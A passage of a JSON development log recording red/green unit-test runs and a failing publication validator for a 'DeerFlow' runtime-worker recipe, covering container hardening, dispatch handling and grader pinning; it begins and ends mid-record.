"exit_code": 0, + "original_token_count": 1514, + "output": "test_adapter_preserves_known_pass_and_fail_without_a_local_verdict (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_preserves_known_pass_and_fail_without_a_local_verdict) ... ok\ntest_adapter_rejects_missing_malformed_and_unfinished_output (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_adapter_rejects_missing_malformed_and_unfinished_output) ... ok\ntest_gateway_headers_preserve_affinity_and_new_call_identity (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_headers_preserve_affinity_and_new_call_identity) ... ok\ntest_gateway_reader_is_read_only_and_uses_only_approved_columns (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_reader_is_read_only_and_uses_only_approved_columns) ... ok\ntest_gateway_rejects_non_gpt6_model_routes (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_rejects_non_gpt6_model_routes) ... ok\ntest_gateway_structured_output_uses_upstream_tool_calling (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_gateway_structured_output_uses_upstream_tool_calling) ... ok\ntest_grader_install_and_launch_use_exact_upstream_pins (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_grader_install_and_launch_use_exact_upstream_pins) ... ok\ntest_inspect_solver_transports_only_input_and_preserves_upstream_task (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_inspect_solver_transports_only_input_and_preserves_upstream_task) ... ok\ntest_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ok\ntest_mcp_launches_preserve_the_adoption_commands (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_mcp_launches_preserve_the_adoption_commands) ... ok\ntest_model_context_and_container_contract (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_model_context_and_container_contract) ... ok\ntest_native_trace_distinguishes_skill_inventory_metadata_and_loads (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_distinguishes_skill_inventory_metadata_and_loads) ... ok\ntest_native_trace_does_not_count_failed_children_as_completed (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_native_trace_does_not_count_failed_children_as_completed) ... ok\ntest_owned_compose_resources_and_loopback_ports (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_owned_compose_resources_and_loopback_ports) ... ok\ntest_pins_and_script_boundaries (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_pins_and_script_boundaries) ... ok\ntest_real_upstream_gaia_known_pass_and_fail_controls (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_real_upstream_gaia_known_pass_and_fail_controls) ... skipped 'pinned upstream grader unavailable; installation prohibited in builder'\ntest_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_renderer_and_qmd_snapshot_keep_state_owned_and_index_scoped) ... ok\ntest_reviewable_recipe_and_empty_result_rejection (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_reviewable_recipe_and_empty_result_rejection) ... ok\ntest_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ok\ntest_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_attempt_has_fresh_state_and_network_and_no_stack_secrets) ... ok\ntest_round3_compression_deltas_are_separate_and_reject_counter_resets (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_compression_deltas_are_separate_and_reject_counter_resets) ... ok\ntest_round3_container_network_hardening_and_resolved_mount_guards (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_container_network_hardening_and_resolved_mount_guards) ... ok\ntest_round3_dispatch_reports_negative_setup_and_missing_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_reports_negative_setup_and_missing_evidence) ... ok\ntest_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ok\ntest_round3_grader_install_is_hash_locked_and_wheel_only (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_grader_install_is_hash_locked_and_wheel_only) ... ok\ntest_round3_inspect_launch_has_no_model_and_publishes_stable_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_launch_has_no_model_and_publishes_stable_result) ... {\"status_path\": \"/state/runs/frozen-run/status.json\", \"result_path\": \"/state/runs/frozen-run/result.json\"}\n{\"result_path\": \"/state/runs/frozen-run/result.json\", \"exit_code\": 1}\nok\ntest_round3_inspect_verdict_rejects_incomplete_evidence (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_inspect_verdict_rejects_incomplete_evidence) ... ok\ntest_round3_usage_correlates_entry_gateway_once_and_separates_effort (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_usage_correlates_entry_gateway_once_and_separates_effort) ... ok\ntest_skills_use_coordinator_project_installer (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_skills_use_coordinator_project_installer) ... ok\ntest_tool_limits_are_enforced_not_only_described (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_tool_limits_are_enforced_not_only_described) ... ok\ntest_transport_runs_owned_container_and_retains_failed_attempts (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_transport_runs_owned_container_and_retains_failed_attempts) ... ok\n\n----------------------------------------------------------------------\nRan 31 tests in 0.510s\n\nOK (skipped=1)\n" + }, + { + "phase": "lifecycle-red-pat-controls", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files -v", + "chunk_id": "5c05d4", + "wall_time_seconds": 0.077879105, + "exit_code": 1, + "original_token_count": 1273, + "output": "test_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... FAIL\ntest_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ERROR\ntest_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm) ... FAIL\ntest_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... FAIL\ntest_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_pat_uses_header_and_refuses_redirects_and_unsafe_token_files) ... ok\n\n======================================================================\nERROR: test_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 515, in test_round3_arms_render_endpoint_model_and_only_selected_header\n self.assertEqual(labels[\"com.native-agent-stack.arm\"], arm)\n ~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nKeyError: 'com.native-agent-stack.arm'\n\n======================================================================\nFAIL: test_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 67, in test_literal_cleanup_continues_after_already_absent_resource\n self.assertEqual([c[-1] for c in calls], [\"rw-deerflow-nginx\", \"rw-deerflow-frontend\", \"rw-deerflow-gateway\", \"rw-deerflow-redis\", \"rw-deerflow-egress\", \"rw-deerflow-network\", \"rw-deerflow-egress-network\"])\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: Lists differ: ['rw-[93 chars]flow-network'] != ['rw-[93 chars]flow-egress', 'rw-deerflow-network', 'rw-deerf[15 chars]ork']\n\nFirst differing element 4:\n'rw-deerflow-network'\n'rw-deerflow-egress'\n\nSecond list contains 2 additional elements.\nFirst extra element 5:\n'rw-deerflow-network'\n\n ['rw-deerflow-nginx',\n 'rw-deerflow-frontend',\n 'rw-deerflow-gateway',\n 'rw-deerflow-redis',\n+ 'rw-deerflow-egress',\n- 'rw-deerflow-network']\n? ^\n\n+ 'rw-deerflow-network',\n? ^\n\n+ 'rw-deerflow-egress-network']\n\n======================================================================\nFAIL: test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 747, in test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm\n with self.assertRaises(ValueError):\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^\nAssertionError: ValueError not raised\n\n======================================================================\nFAIL: test_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 760, in test_round3_nginx_and_preflight_match_hardened_configuration\n self.assertFalse(any(m.startswith(\"/etc/nginx:\") for m in compose[\"services\"][\"nginx\"][\"tmpfs\"]))\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: True is not false\n\n----------------------------------------------------------------------\nRan 5 tests in 0.040s\n\nFAILED (failures=3, errors=1)\n" + }, + { + "phase": "entrypoint-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies -v", + "chunk_id": "c7fd47", + "wall_time_seconds": 0.052521425, + "exit_code": 1, + "original_token_count": 270, + "output": "test_round3_installed_entrypoints_have_their_local_dependencies (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies) ... ERROR\n\n======================================================================\nERROR: test_round3_installed_entrypoints_have_their_local_dependencies (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 771, in test_round3_installed_entrypoints_have_their_local_dependencies\n renderer.install_entrypoints(prefix)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'deerflow_entrypoints' has no attribute 'install_entrypoints'\n\n----------------------------------------------------------------------\nRan 1 test in 0.015s\n\nFAILED (errors=1)\n" + }, + { + "phase": "lifecycle-entrypoint-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies -v", + "chunk_id": "ca9243", + "wall_time_seconds": 0.075821786, + "exit_code": 0, + "original_token_count": 266, + "output": "test_literal_cleanup_continues_after_already_absent_resource (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_literal_cleanup_continues_after_already_absent_resource) ... ok\ntest_round3_arms_render_endpoint_model_and_only_selected_header (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_arms_render_endpoint_model_and_only_selected_header) ... ok\ntest_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_lifecycle_rejects_active_dispatch_and_recreates_selected_arm) ... ok\ntest_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... ok\ntest_round3_installed_entrypoints_have_their_local_dependencies (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_installed_entrypoints_have_their_local_dependencies) ... ok\n\n----------------------------------------------------------------------\nRan 5 tests in 0.040s\n\nOK\n" + }, + { + "phase": "intermediate-validator", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "chunk_id": "c0b056", + "wall_time_seconds": 10.001325848, + "session_id": 75192, + "original_token_count": 0, + "output": "" + }, + { + "phase": "intermediate-validator-completion", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "chunk_id": "2e0574", + "wall_time_seconds": 0.0000029, + "exit_code": 1, + "original_token_count": 563, + "output": "Publication validation failed:\nblueprints/runtime-workers/deerflow/compose.json.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/compose.json.template: byte count mismatch\nblueprints/runtime-workers/deerflow/config.yaml.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/config.yaml.template: byte count mismatch\nblueprints/runtime-workers/deerflow/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/deerflow/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/deerflow/extensions_config.json.template: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/extensions_config.json.template: byte count mismatch\nblueprints/runtime-workers/deerflow/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/pins.json: byte count mismatch\nblueprints/runtime-workers/deerflow/recipe.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/recipe.py: byte count mismatch\nblueprints/runtime-workers/deerflow/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/run-e2e.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway-start.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_headers.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_headers.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_model.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/gateway_model.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/nginx-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/nginx-start.sh: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/preflight.py: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/preflight.py: byte count mismatch\nblueprints/runtime-workers/deerflow/runtime/redis-start.sh: SHA-256 mismatch\nblueprints/runtime-workers/deerflow/runtime/redis-start.sh: byte count mismatch\ntests/test_runtime_worker_deerflow.py: SHA-256 mismatch\ntests/test_runtime_worker_deerflow.py: byte count mismatch\n" + }, + { + "phase": "robustness-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized -v", + "chunk_id": "f94694", + "wall_time_seconds": 0.078121837, + "exit_code": 1, + "original_token_count": 348, + "output": "test_round3_dispatch_cli_accepts_prompt_after_options (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options) ... ok\ntest_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized) ... FAIL\n\n======================================================================\nFAIL: test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 823, in test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized\n self.assertIsNone(found[\"usage_total\"])\n ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: {'tokens_in': 10, 'tokens_cache_read': 0, 'tokens_reasoning': 1} is not None\n\n----------------------------------------------------------------------\nRan 2 tests in 0.047s\n\nFAILED (failures=1)\n{\"result_path\": \"fixture\"}\n" + }, + { + "phase": "robustness-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized -v", + "chunk_id": "4a4991", + "wall_time_seconds": 0.127265829, + "exit_code": 0, + "original_token_count": 132, + "output": "test_round3_dispatch_cli_accepts_prompt_after_options (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_cli_accepts_prompt_after_options) ... ok\ntest_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_duplicate_correlation_is_incomplete_and_dispatch_counts_are_sanitized) ... ok\n\n----------------------------------------------------------------------\nRan 2 tests in 0.050s\n\nOK\n{\"result_path\": \"fixture\"}\n" + }, + { + "phase": "stop-reason-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths -v", + "chunk_id": "f123a6", + "wall_time_seconds": 0.065351898, + "exit_code": 1, + "original_token_count": 277, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ERROR\n\n======================================================================\nERROR: test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 637, in test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths\n self.assertEqual(waited[\"stop_reason\"], \"completed\")\n ~~~~~~^^^^^^^^^^^^^^^\nKeyError: 'stop_reason'\n\n----------------------------------------------------------------------\nRan 1 test in 0.027s\n\nFAILED (errors=1)\n" + }, + { + "phase": "stop-reason-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths -v", + "chunk_id": "f02841", + "wall_time_seconds": 0.074802465, + "exit_code": 0, + "original_token_count": 79, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.028s\n\nOK\n" + }, + { + "phase": "ambiguous-start-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key -v", + "chunk_id": "3acdea", + "wall_time_seconds": 0.071276189, + "exit_code": 1, + "original_token_count": 269, + "output": "test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key) ... FAIL\n\n======================================================================\nFAIL: test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 834, in test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key\n self.assertEqual(code, 3)\n ~~~~~~~~~~~~~~~~^^^^^^^^^\nAssertionError: 2 != 3\n\n----------------------------------------------------------------------\nRan 1 test in 0.026s\n\nFAILED (failures=1)\n" + }, + { + "phase": "ambiguous-start-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key -v", + "chunk_id": "131a32", + "wall_time_seconds": 0.073788582, + "exit_code": 0, + "original_token_count": 80, + "output": "test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_ambiguous_start_is_incomplete_and_retries_same_native_key) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.028s\n\nOK\n" + }, + { + "phase": "nginx-uid-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration -v", + "chunk_id": "e61213", + "wall_time_seconds": 0.032922298, + "exit_code": 1, + "original_token_count": 262, + "output": "test_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... ERROR\n\n======================================================================\nERROR: test_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 764, in test_round3_nginx_and_preflight_match_hardened_configuration\n self.assertEqual(compose[\"services\"][\"nginx\"][\"user\"], \"101:101\")\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^\nKeyError: 'user'\n\n----------------------------------------------------------------------\nRan 1 test in 0.001s\n\nFAILED (errors=1)\n" + }, + { + "phase": "nginx-uid-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration -v", + "chunk_id": "810079", + "wall_time_seconds": 0.033139918, + "exit_code": 0, + "original_token_count": 71, + "output": "test_round3_nginx_and_preflight_match_hardened_configuration (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_nginx_and_preflight_match_hardened_configuration) ... ok\n\n----------------------------------------------------------------------\nRan 1 test in 0.000s\n\nOK\n" + }, + { + "phase": "setup-status-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result -v", + "chunk_id": "22d44d", + "wall_time_seconds": 0.073146424, + "exit_code": 1, + "original_token_count": 643, + "output": "test_round3_missing_host_setup_still_writes_status_and_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result) ... ERROR\n\n======================================================================\nERROR: test_round3_missing_host_setup_still_writes_status_and_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 848, in test_round3_missing_host_setup_still_writes_status_and_result\n code, result = dispatch.start(\"missing\", \"control\", \"prompt\", \"pro\", \"child\")\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/blueprints/runtime-workers/deerflow/dispatch.py\", line 103, in start\n selection = arm_settings(read(STATE / \"host.json\"), arm)\n ~~~~^^^^^^^^^^^^^^^^^^^^^\n File \"/blueprints/runtime-workers/deerflow/recipe.py\", line 33, in read\n return json.loads(Path(path).read_text())\n ~~~~~~~~~~~~~~~~~~~~^^\n File \"/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/pathlib/_local.py\", line 546, in read_text\n return PathBase.read_text(self, encoding, errors, newline)\n ~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/pathlib/_abc.py\", line 632, in read_text\n with self.open(mode='r', encoding=encoding, errors=errors, newline=newline) as f:\n ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/pathlib/_local.py\", line 537, in open\n return io.open(self, mode, buffering, encoding, errors, newline)\n ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nFileNotFoundError: [Errno 2] No such file or directory: '/host.json'\n\n----------------------------------------------------------------------\nRan 1 test in 0.026s\n\nFAILED (errors=1)\n" + }, + { + "phase": "setup-status-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result -v", + "chunk_id": "62dc67", + "wall_time_seconds": 0.091416579, + "exit_code": 0, + "original_token_count": 121, + "output": "test_round3_missing_host_setup_still_writes_status_and_result (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_missing_host_setup_still_writes_status_and_result) ... {\"status_path\": \"/runs/missing/status.json\", \"result_path\": \"/runs/missing/result.json\"}\n{\"result_path\": \"/runs/missing/result.json\", \"exit_code\": 2}\nok\n\n----------------------------------------------------------------------\nRan 1 test in 0.026s\n\nOK\n" + }, + { + "phase": "native-message-envelope-red", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths -v", + "chunk_id": "96bf3c", + "wall_time_seconds": 0.06742216, + "exit_code": 1, + "original_token_count": 267, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... FAIL\n\n======================================================================\nFAIL: test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_deerflow.py\", line 643, in test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths\n self.assertEqual(code, 0)\n ~~~~~~~~~~~~~~~~^^^^^^^^^\nAssertionError: 3 != 0\n\n----------------------------------------------------------------------\nRan 1 test in 0.026s\n\nFAILED (failures=1)\n" + }, + { + "phase": "native-message-envelope-green", + "cmd": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths -v", + "chunk_id": "336a94", + "wall_time_seconds": 0.061383611, + "exit_code": 0, + "original_token_count": 79, + "output": "test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths (tests.test_runtime_worker_deerflow.DeerFlowRecipeTests.test_round3_dispatch_start_wait_result_uses_pat_native_runs_and_stable_paths) ... 